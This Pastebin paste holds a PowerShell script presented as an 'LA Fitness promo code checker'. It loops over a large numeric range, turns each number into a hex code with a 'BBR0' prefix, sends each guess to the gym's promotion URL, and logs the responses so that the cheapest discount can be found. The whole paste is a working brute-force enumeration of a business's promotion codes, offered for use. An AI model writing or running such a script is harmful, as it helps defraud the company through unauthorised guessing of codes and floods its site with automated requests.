Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #LA Fitness promo code checker. Requires PowerShell. Runs and generates the response for all codes, then you search the results for the cheapest. Range of numbers should be updated weekly or monthly to the new min/max range (Convert hex to int, add trailing 0 when converting back to hex for this months range)
- $intmin = 224728422269
- $intmax = 230892759877
- while($intmax -gt $intmin) {
- $hexmin = '{0:x}' -f $intmin
- $bbcert= "BBR0"+$hexmin #BBR03452DB977D
- $bbcert | Out-File "C:\Users\Administrator\Desktop\lafitness.csv" -Append
- $Response = Invoke-WebRequest http://www.lafitness.com/Promotion?bbcert=$bbcert
- $Response.Forms[0].Fields | Out-File "C:\Users\Administrator\Desktop\lafitness.csv" -Append
- Write-Output $bbcert
- $intmin++;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement